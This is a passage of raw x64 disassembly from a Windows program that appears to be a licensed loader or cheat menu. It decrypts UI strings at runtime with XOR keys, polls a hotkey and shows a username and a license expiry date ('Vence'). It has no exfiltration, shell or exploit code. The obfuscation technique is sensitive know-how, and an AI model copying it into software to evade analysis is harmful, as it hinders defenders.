mov r12d, dword [0x1405c5520]
mov r14, rax
mov rsi, qword gs:[0x58]
movdqa xmm0, xmmword [0x1401919a0]
mov eax, 0x180
mov edx, eax
mov rcx, qword [rsi + r12*8]
mov dword [rbp + 0x188], 0x372bbfbe
mov word [rbp + 0x18c], 0x5226
mov ebx, 0x168
mov eax, dword [rax + rcx]
test al, 1
jne 0x1400530cf
or eax, 1
mov dword [rdx + rcx], eax
add rcx, rbx
lea rdx, [rbp + 0x18e]
mov byte [rcx + 0x17], 1
lea rax, [rcx + 0x16]
cmp rcx, rdx
ja 0x1400530a8
lea rdx, [rbp + 0x178]
cmp rax, rdx
jb 0x1400530a8
mov eax, dword [rbp + 0x188]
movups xmmword [rcx], xmm0
mov dword [rcx + 0x10], eax
movzx eax, word [rbp + 0x18c]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], __WSAFDIsSet
jmp 0x1400530c3
mov eax, dword [rbp + 0x188]
movups xmmword [rcx], xmm0
mov dword [rcx + 0x10], eax
movzx eax, word [rbp + 0x18c]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], __WSAFDIsSet
lea rcx, [0x140126600]
call fcn.140122494
mov rdi, qword [rsi + r12*8]
add rdi, rbx
cmp byte [rdi + 0x17], r15b
je 0x14005313b
xor byte [rdi], 0xdb
xor byte [rdi + 1], 0x9f
xor byte [rdi + 2], 0x6d
xor byte [rdi + 3], 0x45
xor byte [rdi + 4], 0x43
xor byte [rdi + 5], 0x37
xor byte [rdi + 6], 0x95
xor byte [rdi + 7], 0x25
xor byte [rdi + 8], 0xdb
xor byte [rdi + 9], 0x9f
xor byte [rdi + 0xa], 0x6d
xor byte [rdi + 0xb], 0x45
xor byte [rdi + 0xc], 0x43
xor byte [rdi + 0xd], 0x37
xor byte [rdi + 0xe], 0x95
xor byte [rdi + 0xf], 0x25
xor byte [rdi + 0x10], 0xdb
xor byte [rdi + 0x11], 0x9f
xor byte [rdi + 0x12], 0x6d
xor byte [rdi + 0x13], 0x45
xor byte [rdi + 0x14], 0x43
xor byte [rdi + 0x15], 0x37
xor byte [rdi + 0x16], 0x95
mov byte [rdi + 0x17], r15b
lea rcx, [0x14058ede8]
call fcn.14000d740
mov rcx, qword gs:[0x58]
mov esi, eax
movdqa xmm0, xmmword [0x1401919a0]
mov eax, 0x160
mov edx, 0x148
mov r8, qword [rcx + r12*8]
mov ecx, eax
mov dword [rbp + 0x1a0], 0x372bbfbe
mov word [rbp + 0x1a4], 0x5226
mov eax, dword [rax + r8]
mov ebx, edx
test al, 1
jne 0x1400531f8
or eax, 1
mov byte [r8 + rdx + 0x17], 1
mov dword [rcx + r8], eax
lea rcx, [r8 + rdx]
lea rdx, [rbp + 0x1a6]
lea rax, [rcx + 0x16]
cmp rcx, rdx
ja 0x1400531d1
lea rdx, [rbp + 0x190]
cmp rax, rdx
jb 0x1400531d1
mov eax, dword [rbp + 0x1a0]
movups xmmword [rcx], xmm0
mov dword [rcx + 0x10], eax
movzx eax, word [rbp + 0x1a4]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], __WSAFDIsSet
jmp 0x1400531ec
mov eax, dword [rbp + 0x1a0]
movups xmmword [rcx], xmm0
mov dword [rcx + 0x10], eax
movzx eax, word [rbp + 0x1a4]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], __WSAFDIsSet
lea rcx, [0x140126130]
call fcn.140122494
mov rax, qword gs:[0x58]
mov rdx, qword [rax + r12*8]
add rdx, rbx
cmp byte [rdx + 0x17], r15b
je 0x14005326d
xor byte [rdx], 0xdb
xor byte [rdx + 1], 0x9f
xor byte [rdx + 2], 0x6d
xor byte [rdx + 3], 0x45
xor byte [rdx + 4], 0x43
xor byte [rdx + 5], 0x37
xor byte [rdx + 6], 0x95
xor byte [rdx + 7], 0x25
xor byte [rdx + 8], 0xdb
xor byte [rdx + 9], 0x9f
xor byte [rdx + 0xa], 0x6d
xor byte [rdx + 0xb], 0x45
xor byte [rdx + 0xc], 0x43
xor byte [rdx + 0xd], 0x37
xor byte [rdx + 0xe], 0x95
xor byte [rdx + 0xf], 0x25
xor byte [rdx + 0x10], 0xdb
xor byte [rdx + 0x11], 0x9f
xor byte [rdx + 0x12], 0x6d
xor byte [rdx + 0x13], 0x45
xor byte [rdx + 0x14], 0x43
xor byte [rdx + 0x15], 0x37
xor byte [rdx + 0x16], 0x95
mov byte [rdx + 0x17], r15b
xor r9d, r9d
movss dword [rsp + 0x20], xmm9
xor r8d, r8d
lea rcx, [rbp + 0xb48]
call fcn.140008b80
mov rbx, rax
call fcn.14000e6c0
subss xmm0, dword [rbx]
mov r9, rdi
mov dword [rbp + 0x2cc], 0x41400000
mov r8d, esi
mov qword [rsp + 0x20], r15
lea rdx, [rbp + 0x2c8]
mov rcx, r14
mulss xmm0, xmm15
addss xmm0, xmm7
movss dword [rbp + 0x2c8], xmm0
call fcn.140023eb0
call fcn.14000d570
lea rcx, [0x14058eda8]
mov rbx, rax
call fcn.14000d740
mov r9d, eax
mov dword [rsp + 0x28], Ordinal_50
lea r8, [rbp + 0x2d0]
movss dword [rsp + 0x20], xmm10
lea rdx, [rbp + 0x2d8]
mov dword [rbp + 0x2d0], 0x44480000
mov rcx, rbx
mov dword [rbp + 0x2d4], 0x42340000
mov qword [rbp + 0x2d8], r15
call fcn.140023d00
call fcn.14000d570
lea rcx, [0x14058edb8]
mov rbx, rax
call fcn.14000d740
mov r9d, eax
mov dword [rsp + 0x28], 0xc0
lea r8, [rbp + 0x2e0]
movss dword [rsp + 0x20], xmm10
lea rdx, [rbp + 0x2e8]
mov dword [rbp + 0x2e0], 0x44480000
mov rcx, rbx
mov dword [rbp + 0x2e4], 0x44020000
mov dword [rbp + 0x2e8], r15d
mov dword [rbp + 0x2ec], 0x42340000
call fcn.140023d00
mov ecx, reloc.WLDAP32.dll_Ordinal_46
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
jne 0x140056bb5
lea rcx, [rbp + 0x2f0]
mov dword [rbp + 0x2f0], 0x41700000
mov dword [rbp + 0x2f4], 0x43e10000
call fcn.14001a990
mov r14, qword [0x1405c50d0]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r14
cmp rax, 7
jb 0x140056bdc
cmp qword [0x1405c50d8], 0xf
lea r15, [0x1405c50c0]
lea rsi, [r14 + 7]
mov ebx, reloc.WS2_32.dll_ntohs
cmova r15, qword [0x1405c50c0]
lea rdi, [rbp + 0x220]
xor eax, eax
xorps xmm0, xmm0
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x238], rax
movups xmmword [rbp + 0x220], xmm0
cmp rsi, rbx
jbe 0x140053492
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x140053438
movabs rax, 0x8000000000000000
mov rbx, rcx
add rax, 0x27
jmp 0x14005345f
cmp rbx, 0x16
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14005347e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140056be2
mov rcx, rax
call fcn.140121de8
test rax, rax
je 0x140056b90
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14005348b
test rcx, rcx
je 0x140053488
call fcn.140121de8
mov rdi, rax
mov qword [rbp + 0x220], rdi
mov rax, qword [str.User_:]
lea rcx, [rdi + 7]
mov qword [rbp + 0x230], rsi
mov r8, r14
mov qword [rbp + 0x238], rbx
mov rdx, r15
mov dword [rdi], eax
movzx eax, word [0x140190d24]
mov word [rdi + 4], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rdi + 6], al
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
lea rcx, [rbp + 0x220]
cmp qword [rbp + 0x238], 0xf
cmova rcx, qword [rbp + 0x220]
call fcn.140037db0
lea rcx, [rbp + 0x2f8]
mov dword [rbp + 0x2f8], 0x41700000
mov dword [rbp + 0x2fc], 0x43ed8000
call fcn.14001a990
mov rdi, qword [0x1405c5188]
lea rsi, [0x1405c5178]
xor r15d, r15d
movabs rax, 0x7fffffffffffffff
cmp qword [0x1405c5190], 0xf
xorps xmm0, xmm0
movups xmmword [rbp + 0x138], xmm0
cmova rsi, qword [0x1405c5178]
mov qword [rbp + 0x148], r15
mov qword [rbp + 0x150], r15
cmp rdi, rax
ja 0x140056bdc
cmp rdi, 0xf
ja 0x140053587
mov qword [rbp + 0x148], rdi
lea rcx, [rbp + 0x138]
mov qword [rbp + 0x150], reloc.WS2_32.dll_ntohs
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0x138], xmm0
jmp 0x140053639
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
jbe 0x1400535a6
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x1400535cd
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400535ef
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140056be2
mov rcx, rax
call fcn.140121de8
mov rcx, rax
test rax, rax
je 0x140056b90
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400535fe
test rcx, rcx
je 0x1400535fb
call fcn.140121de8
jmp 0x1400535fe
mov rax, r15
lea r8, [rdi + 1]
mov qword [rbp + 0x138], rax
mov rdx, rsi
mov qword [rbp + 0x148], rdi
mov rcx, rax
mov qword [rbp + 0x150], rbx
call sub.VCRUNTIME140.dll_memcpy
cmp qword [rbp + 0x150], 0xf
lea rcx, [rbp + 0x138]
cmova rcx, qword [rbp + 0x138]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
movsxd rcx, eax
mov qword [rbp + 0x570], rcx
lea rcx, [rbp + 0x570]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
lea r8, str.Vence:__d__m__Y
mov edx, reloc.WS2_32.dll_sendto
mov r9, rax
lea rcx, [rbp + 0xd68]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
lea rcx, [rbp + 0xd68]
call fcn.140037db0
lea rcx, [rbp + 0x300]
mov dword [rbp + 0x300], 0x43480000
mov dword [rbp + 0x304], 0x43f00000
call fcn.14001a990
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
lea r14, [0x14058e558]
mov rsi, qword [0x14058e568]
lea rdi, [rbp + 0x200]
cmova r14, qword [0x14058e558]
mov ebx, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x210], r15
xorps xmm0, xmm0
mov qword [rbp + 0x218], r15
movups xmmword [rbp + 0x200], xmm0
cmp rsi, rbx
jbe 0x140053771
mov rbx, rsi
movabs rax, 0x7fffffffffffffff
or rbx, 0xf
cmp rbx, rax
jbe 0x140053712
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140053739
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140053758
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140056be2
mov rcx, rax
call fcn.140121de8
test rax, rax
je 0x140056b90
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14005376a
test rcx, rcx
je 0x140053767
call fcn.140121de8
mov rdi, rax
jmp 0x14005376a
mov rdi, r15
mov qword [rbp + 0x200], rdi
mov r8, rsi
mov qword [rbp + 0x210], rsi
mov rdx, r14
mov qword [rbp + 0x218], rbx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], r15b
lea rcx, [rbp + 0x200]
cmp qword [rbp + 0x218], 0xf
cmova rcx, qword [rbp + 0x200]
call fcn.140037db0
mov r15, qword [0x1405c50d0]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 0xa
jb 0x140056bdc
cmp qword [0x1405c50d8], 0xf
lea r14, [0x1405c50c0]
lea rsi, [r15 + 0xa]
mov ebx, reloc.WS2_32.dll_ntohs
cmova r14, qword [0x1405c50c0]
lea rdi, [rbp + 0x1e0]
xor eax, eax
xorps xmm0, xmm0
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x1f8], rax
movups xmmword [rbp + 0x1e0], xmm0
cmp rsi, rbx
jbe 0x14005388d
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x140053833
movabs rax, 0x8000000000000000
mov rbx, rcx
add rax, 0x27
jmp 0x14005385a
cmp rbx, 0x16
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140053879
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140056be2
mov rcx, rax
call fcn.140121de8
test rax, rax
je 0x140056b90
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140053886
test rcx, rcx
je 0x140053883
call fcn.140121de8
mov rdi, rax
mov qword [rbp + 0x1e0], rdi
movsd xmm0, qword [str.Username:]
lea rcx, [rdi + 0xa]
mov qword [rbp + 0x1f0], rsi
mov r8, r15
mov qword [rbp + 0x1f8], rbx
mov rdx, r14
movsd qword [rdi], xmm0
movzx eax, word [0x140190ce8]
mov word [rdi + 8], ax
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
lea rcx, [rbp + 0x1e0]
cmp qword [rbp + 0x1f8], 0xf
lea rdx, [rbp + 0x460]
mov rbx, qword [rbp + 0x1f0]
mov edi, 0xa
cmova rcx, qword [rbp + 0x1e0]
xorps xmm0, xmm0
movzx eax, word [0x140190ce8]
cmp rdi, rbx
movups xmmword [rbp + 0x460], xmm0
mov r8, rbx
mov qword [rbp + 0x470], rdi
movsd xmm0, qword [str.Username:]
cmovb r8, rdi
mov qword [rbp + 0x478], reloc.WS2_32.dll_ntohs
movsd qword [rbp + 0x460], xmm0
mov word [rbp + 0x468], ax
mov byte [rbp + 0x46a], 0
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14005394e
cmp rbx, rdi
jb 0x14005394e
jbe 0x140056b38
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1401297f4]
call fcn.140047010
lea rdx, [0x1400486f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14004b270
lea rcx, [rbp + 0x308]
mov dword [rbp + 0x308], 0x43340000
mov dword [rbp + 0x30c], 0x43d20000
call fcn.14001a990
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
lea rcx, [0x14058e580]
cmova rcx, qword [0x14058e580]
call fcn.140037db0
lea rcx, [rbp + 0x310]
mov dword [rbp + 0x310], 0x44160000
mov dword [rbp + 0x314], 0x41f00000
call fcn.14001a990
movaps xmm0, xmmword [0x140135210]
lea rdx, str.Developed_by_Swatzz
lea rcx, [rbp + 0xba0]
movups xmmword [rbp + 0xba0], xmm0
call fcn.140037e20
lea rdx, [rbp + 0x318]
mov dword [rbp + 0x318], 0x40e00000
mov ecx, reloc.WS2_32.dll_ntohl
mov dword [rbp + 0x31c], 0x40e00000
call fcn.140016b80
lea rcx, [rbp + 0x320]
mov dword [rbp + 0x320], 0x40e00000
mov dword [rbp + 0x324], 0x42820000
call fcn.14001a990
call fcn.140007d20
mov rax, qword gs:[0x58]
mov dword [rbp + 0x328], 0x431d0000
mov dword [rbp + 0x32c], 0x420c0000
mov r8d, 0x190
mov rdx, qword [rax + r12*8]
mov eax, 0x19c
mov ecx, eax
mov ebx, r8d
mov eax, dword [rax + rdx]
test al, 1
jne 0x140053aa6
mov word [r8 + rdx + 9], Ordinal_301
or eax, 1
mov dword [r8 + rdx], 0xa85442d6
mov dword [rcx + rdx], eax
lea rcx, [0x140126240]
mov dword [r8 + rdx + 4], 0x50d1507b
mov byte [r8 + rdx + 8], 0xe1
call fcn.140122494
mov rax, qword gs:[0x58]
add rbx, qword [rax + r12*8]
cmp byte [rbx + 0xa], 0
je 0x140053ae4
xor byte [rbx], 0x85
xor byte [rbx + 1], 0x27
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0xdd
xor byte [rbx + 4], 9
xor byte [rbx + 5], 0x39
xor byte [rbx + 6], 0xb5
xor byte [rbx + 7], 0x31
xor byte [rbx + 8], 0x85
xor byte [rbx + 9], 0x27
mov byte [rbx + 0xa], 0
mov rax, qword gs:[0x58]
mov r8d, 0x184
mov edi, r8d
mov rdx, qword [rax + r12*8]
mov eax, 0x188
mov ecx, eax
mov eax, dword [rax + rdx]
test al, 1
jne 0x140053b27
or eax, 1
mov word [r8 + rdx + 1], Ordinal_301
mov dword [rcx + rdx], eax
lea rcx, [0x140126340]
mov byte [r8 + rdx], 0xc3
call fcn.140122494
mov rax, qword gs:[0x58]
mov rdx, qword [rax + r12*8]
add rdx, rdi
cmp byte [rdx + 2], 0
je 0x140053b48
xor byte [rdx], 0x85
xor byte [rdx + 1], 0x27
mov byte [rdx + 2], 0
cmp dword [0x1405c4ce8], 0
lea r9, [rbp + 0x328]
mov r8, rbx
sete cl
xor esi, esi
mov dword [rsp + 0x20], esi
call fcn.1400376b0
test al, al
je 0x140053b71
mov dword [0x1405c4ce8], esi
mov rax, qword gs:[0x58]
mov dword [rbp + 0x448], 0x431d0000
mov dword [rbp + 0x44c], 0x420c0000
mov r8d, 0x1a8
mov rdx, qword [rax + r12*8]
mov eax, 0x1b0
mov ecx, eax
mov ebx, r8d
mov eax, dword [rax + rdx]
test al, 1
jne 0x140053bcc
or eax, 1
mov dword [r8 + rdx + 4], 0x1cb1336
mov dword [rcx + rdx], eax
lea rcx, [0x140126100]
mov dword [r8 + rdx], 0x1bf76a7a
call fcn.140122494
mov rax, qword gs:[0x58]
add rbx, qword [rax + r12*8]
cmp byte [rbx + 7], sil
je 0x140053bfe
xor byte [rbx], 0x31
xor byte [rbx + 1], 3
xor byte [rbx + 2], 0x9b
xor byte [rbx + 3], 0x77
xor byte [rbx + 4], 0x53
xor byte [rbx + 5], 0x61
xor byte [rbx + 6], 0xcb
mov byte [rbx + 7], sil
mov rax, qword gs:[0x58]
mov r8d, 0x1a0
mov edi, r8d
mov rdx, qword [rax + r12*8]
mov eax, 0x1a4
mov ecx, eax
mov eax, dword [rax + rdx]
test al, 1
jne 0x140053c41
or eax, 1
mov word [r8 + rdx + 1], 0x103
mov dword [rcx + rdx], eax
lea rcx, [0x1401264c0]
mov byte [r8 + rdx], reloc.WS2_32.dll_WSASetLastError
call fcn.140122494
mov rax, qword gs:[0x58]
mov rdx, qword [rax + r12*8]
add rdx, rdi
cmp byte [rdx + 2], sil
je 0x140053c62
xor byte [rdx], 0x31
xor byte [rdx + 1], 3
mov byte [rdx + 2], sil
cmp dword [0x1405c4ce8], 6
lea r9, [rbp + 0x448]
mov r8, rbx
mov dword [rsp + 0x20], esi
sete cl
call fcn.1400376b0
test al, al
je 0x140053c8d
mov dword [0x1405c4ce8], 6
mov rax, qword gs:[0x58]
mov dword [rbp + 0x338], 0x431d0000
mov dword [rbp + 0x33c], 0x420c0000
mov r8d, 0x1bc
mov rdx, qword [rax + r12*8]
mov eax, 0x1c4
mov ecx, eax
mov ebx, r8d
mov eax, dword [rax + rdx]
test al, 1
jne 0x140053ce7
or eax, 1
mov dword [rdx + r8 + 2], 0x1230032
mov dword [rcx + rdx], eax
lea rcx, [0x1401265d0]
mov word [rdx + r8], 0x2256
call fcn.140122494
mov rax, qword gs:[0x58]
add rbx, qword [rax + r12*8]
cmp byte [rbx + 5], sil
je 0x140053d11
xor byte [rbx], 0x1b
xor byte [rbx + 1], 0x4b
xor byte [rbx + 2], 0x41
xor byte [rbx + 3], 0x63
xor byte [rbx + 4], 0x23
mov byte [rbx + 5], sil
mov rax, qword gs:[0x58]
mov r8d, 0x1b4
mov edi, r8d
mov rdx, qword [rax + r12*8]
mov eax, 0x1b8
mov ecx, eax
mov eax, dword [rax + rdx]
test al, 1
jne 0x140053d54
or eax, 1
mov word [rdx + r8 + 1], 0x14b
mov dword [rcx + rdx], eax
lea rcx, [0x140126780]
mov byte [rdx + r8], 0x59
call fcn.140122494
mov rax, qword gs:[0x58]
mov rdx, qword [rax + r12*8]
add rdx, rdi
cmp byte [rdx + 2], sil
je 0x140053d75
xor byte [rdx], 0x1b
xor byte [rdx + 1], 0x4b
mov byte [rdx + 2], sil
cmp dword [0x1405c4ce8], 2
lea r9, [rbp + 0x338]
mov r8, rbx
mov dword [rsp + 0x20], esi
sete cl
call fcn.1400376b0
test al, al
je 0x140053da0
mov dword [0x1405c4ce8], 2
mov rax, qword gs:[0x58]
mov dword [rbp + 0x340], 0x431d0000
mov dword [rbp + 0x344], 0x420c0000
mov r8d, 0x1d0
mov rdx, qword [rax + r12*8]
mov eax, 0x1d8
mov ecx, eax
mov ebx, r8d
mov eax, dword [rax + rdx]
test al, 1
jne 0x140053dfb
or eax, 1
mov dword [rdx + r8 + 4], 0x18f918c
mov dword [rcx + rdx], eax
lea rcx, [0x140126270]
mov dword [rdx + r8], 0x2c3eb2a3
call fcn.140122494
mov rax, qword gs:[0x58]
add rbx, qword [rax + r12*8]
cmp byte [rbx + 7], sil
je 0x140053e2d
xor byte [rbx], 0xf5
xor byte [rbx + 1], 0xdb
xor byte [rbx + 2], 0x4d
xor byte [rbx + 3], 0x59
xor byte [rbx + 4], 0xed
xor byte [rbx + 5], 0xfd
xor byte [rbx + 6], 0x8f
mov byte [rbx + 7], sil
mov rax, qword gs:[0x58]
mov r8d, 0x1c8
mov edi, r8d
mov rdx, qword [rax + r12*8]
mov eax, 0x1cc
mov ecx, eax
mov eax, dword [rax + rdx]
test al, 1
jne 0x140053e70
or eax, 1
mov word [rdx + r8 + 1], 0x1db
mov dword [rcx + rdx], eax
lea rcx, [0x1401262f0]
mov byte [rdx + r8], 0xb2
call fcn.140122494
mov rax, qword gs:[0x58]
mov rdx, qword [rax + r12*8]
add rdx, rdi
cmp byte [rdx + 2], sil
je 0x140053e91
xor byte [rdx], 0xf5
xor byte [rdx + 1], 0xdb
mov byte [rdx + 2], sil
cmp dword [0x1405c4ce8], 5
lea r9, [rbp + 0x340]
mov r8, rbx
mov dword [rsp + 0x20], esi
sete cl
call fcn.1400376b0
test al, al
je 0x140053ebc
mov dword [0x1405c4ce8], 5
mov rax, qword gs:[0x58]
mov dword [rbp + 0x348], 0x431d0000
mov dword [rbp + 0x34c], 0x420c0000
mov r8d, 0x1e8
mov rdx, qword [rax + r12*8]
mov eax, 0x1f0
mov ecx, eax
mov ebx, r8d
mov eax, dword [rax + rdx]
test al, 1
jne 0x140053f17
or eax, 1
mov dword [rdx + r8 + 4], 0x1e7b114
mov dword [rcx + rdx], eax
lea rcx, [0x140126510]
mov dword [rdx + r8], 0x61621458
call fcn.140122494
mov rax, qword gs:[0x58]
add rbx, qword [rax + r12*8]
cmp byte [rbx + 7], sil
je 0x140053f49
xor byte [rbx], 0x13
xor byte [rbx + 1], 0x71
xor byte [rbx + 2], 0x1b
xor byte [rbx + 3], 3
xor byte [rbx + 4], 0x7d
xor byte [rbx + 5], 0xdf
xor byte [rbx + 6], 0xe7
mov byte [rbx + 7], sil
mov rax, qword gs:[0x58]
mov r8d, 0x1dc
mov edi, r8d
mov rdx, qword [rax + r12*8]
mov eax, 0x1e0
mov ecx, eax
mov eax, dword [rax + rdx]
test al, 1
jne 0x140053f8c
or eax, 1
mov word [rdx + r8 + 1], 0x171
mov dword [rcx + rdx], eax
lea rcx, [0x140126410]
mov byte [rdx + r8], 0x57
call fcn.140122494
mov rax, qword gs:[0x58]
mov rdx, qword [rax + r12*8]
add rdx, rdi
cmp byte [rdx + 2], sil
je 0x140053fad
xor byte [rdx], 0x13
xor byte [rdx + 1], 0x71
mov byte [rdx + 2], sil
cmp dword [0x1405c4ce8], 3
lea r9, [rbp + 0x348]
mov r8, rbx
mov dword [rsp + 0x20], esi
sete cl
call fcn.1400376b0
test al, al
je 0x140053fd8
mov dword [0x1405c4ce8], 3
call fcn.14000bd20
mov ecx, 1
call fcn.140016580
mov eax, dword [0x1405c4cf4]
cmp dword [0x1405c4ce8], eax
jne 0x140053ffb
movaps xmm6, xmm8
jmp 0x140053fff
movaps xmm6, xmm9
call fcn.14000dce0
movss xmm0, dword [rax + 0x10]
mulss xmm0, xmm12
mulss xmm0, xmm6
addss xmm0, dword [0x1405c4cec]
comiss xmm7, xmm0
jbe 0x140054024
movaps xmm1, xmm7
jmp 0x14005402c
movaps xmm1, xmm8
minss xmm1, xmm0
mov eax, dword [0x1405c4cf4]
cmp dword [0x1405c4ce8], eax
movss dword [0x1405c4cec], xmm1
jne 0x140054048
movaps xmm6, xmm8
jmp 0x14005404c
movaps xmm6, xmm9
call fcn.14000dce0
movaps xmm0, xmm13
mov rbx, rax
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
mulss xmm0, dword [rbx + 0x10]
mulss xmm0, xmm6
addss xmm0, dword [0x1405c4cf0]
comiss xmm7, xmm0
jbe 0x140054078
movaps xmm1, xmm7
jmp 0x140054080
movaps xmm1, xmm8
minss xmm1, xmm0
cmp byte [reloc.WS2_32.dll_accept], sil
movss dword [0x1405c4cf0], xmm1
je 0x14005409e
call fcn.14004e0a0
movss xmm1, dword [0x1405c4cf0]
movss xmm0, dword [0x1405c4cec]
ucomiss xmm0, xmm7
jp 0x1400540c0
jne 0x1400540c0
ucomiss xmm1, xmm7
jp 0x1400540c0
jne 0x1400540c0
mov eax, dword [0x1405c4ce8]
mov dword [0x1405c4cf4], eax
lea rcx, [rbp + 0x350]
mov dword [rbp + 0x350], 0x43340000
mov dword [rbp + 0x354], 0x425c0000
call fcn.14001a990
movss xmm1, dword [0x1405c4cec]
xor ecx, ecx
mulss xmm1, dword [r13]
call fcn.140016c60
mov eax, dword [0x1405c4cf4]
cmp eax, 6
jne 0x140054ce5
call fcn.140007d20
mov rax, qword gs:[0x58]
movdqa xmm0, xmmword [0x140191990]
mov dword [rbp + 0x358], 0x43900000
mov dword [rbp + 0x35c], 0x430c0000
mov rdx, qword [rax + r12*8]
mov eax, 0x20c
mov ecx, eax
mov r8d, 0x1f8
mov word [rbp + 0x528], 0x6df1
mov eax, dword [rax + rdx]
mov ebx, r8d
test al, 1
jne 0x1400541a8
or eax, 1
mov byte [rdx + r8 + 0x12], 1
mov dword [rcx + rdx], eax
lea rcx, [rdx + r8]
lea rdx, [rbp + 0x529]
lea rax, [rcx + 0x11]
cmp rcx, rdx
ja 0x14005418e
lea rdx, [rbp + 0x518]
cmp rax, rdx
jb 0x14005418e
movzx eax, word [rbp + 0x528]
movups xmmword [rcx], xmm0
mov word [rcx + 0x10], ax
jmp 0x14005419c
movzx eax, word [rbp + 0x528]
movups xmmword [rcx], xmm0
mov word [rcx + 0x10], ax
lea rcx, [0x140126390]
call fcn.140122494
mov rax, qword gs:[0x58]
mov rcx, qword [rax + r12*8]
add rcx, rbx
cmp byte [rcx + 0x12], sil
je 0x140054209
xor byte [rcx], 0x85
xor byte [rcx + 1], 0x6d
xor byte [rcx + 2], 0x47
xor byte [rcx + 3], 0x9d
xor byte [rcx + 4], 0xc7
xor byte [rcx + 5], 0xaf
xor byte [rcx + 6], 0x4b
xor byte [rcx + 7], 0x2f
xor byte [rcx + 8], 0x85
xor byte [rcx + 9], 0x6d
xor byte [rcx + 0xa], 0x47
xor byte [rcx + 0xb], 0x9d
xor byte [rcx + 0xc], 0xc7
xor byte [rcx + 0xd], 0xaf
xor byte [rcx + 0xe], 0x4b
xor byte [rcx + 0xf], 0x2f
xor byte [rcx + 0x10], 0x85
xor byte [rcx + 0x11], 0x6d
mov byte [rcx + 0x12], sil
xor r9d, r9d
lea rdx, [rbp + 0x358]
mov r8b, 1
call fcn.140007760
mov r14, qword [0x1405c50d0]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r14
cmp rax, 0xa
jb 0x140056bdc
cmp qword [0x1405c50d8], 0xf
lea r15, [0x1405c50c0]
lea rsi, [r14 + 0xa]
mov ebx, reloc.WS2_32.dll_ntohs
cmova r15, qword [0x1405c50c0]
lea rdi, [rbp + 0x158]
xor r13d, r13d
xorps xmm0, xmm0
mov qword [rbp + 0x168], r13
mov qword [rbp + 0x170], r13
movups xmmword [rbp + 0x158], xmm0
cmp rsi, rbx
jbe 0x1400542b4
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x140054294
mov rbx, rcx
jmp 0x1400542a1
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
call fcn.1400474f0
mov rdi, rax
mov qword [rbp + 0x158], rax
movsd xmm0, qword [str.Username:]
mov r8, r14
mov qword [rbp + 0x168], rsi
mov rdx, r15
mov qword [rbp + 0x170], rbx
movsd qword [rdi], xmm0
movzx ecx, word [0x140190ce8]
mov word [rdi + 8], cx
lea rcx, [rdi + 0xa]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], r13b
lea rcx, [rbp + 0x158]
cmp qword [rbp + 0x170], 0xf
lea rdx, [rbp + 0x280]
mov rbx, qword [rbp + 0x168]
mov edi, 0xa
cmova rcx, qword [rbp + 0x158]
